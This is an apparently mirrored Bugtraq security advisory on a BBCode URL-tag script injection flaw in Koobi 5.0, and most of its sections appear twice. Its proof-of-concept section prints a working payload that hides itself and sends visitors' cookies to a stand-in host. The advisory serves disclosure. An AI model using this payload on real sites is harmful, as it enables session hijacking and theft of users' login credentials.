Koobi BBCode URL Tag Script Injection Vulnerability
BID:16078
Info
Koobi BBCode URL Tag Script Injection Vulnerability
| Bugtraq ID: | 16078 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 28 2005 12:00AM |
| Updated: | Dec 28 2005 12:00AM |
| Credit: | Discovered by Kurdish Hacker <[email protected]>. |
| Vulnerable: |
Koobi Koobi 5.0 |
| Not Vulnerable: | |
Discussion
Koobi BBCode URL Tag Script Injection Vulnerability
Koobi is prone to a script injection vulnerability.
An attacker can nest BBCode URL tags to trigger this issue and execute arbitrary code in a user's browser.
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. Other attacks are also possible.
Koobi 5 is reportedly prone to this vulnerability.
Koobi is prone to a script injection vulnerability.
An attacker can nest BBCode URL tags to trigger this issue and execute arbitrary code in a user's browser.
Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. Other attacks are also possible.
Koobi 5 is reportedly prone to this vulnerability.
Exploit / POC
Koobi BBCode URL Tag Script Injection Vulnerability
No exploit is required.
The following proof of concept is available:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite/cookies.php?
c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]
No exploit is required.
The following proof of concept is available:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite/cookies.php?
c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]
Solution / Fix
Koobi BBCode URL Tag Script Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Koobi BBCode URL Tag Script Injection Vulnerability
References:
References: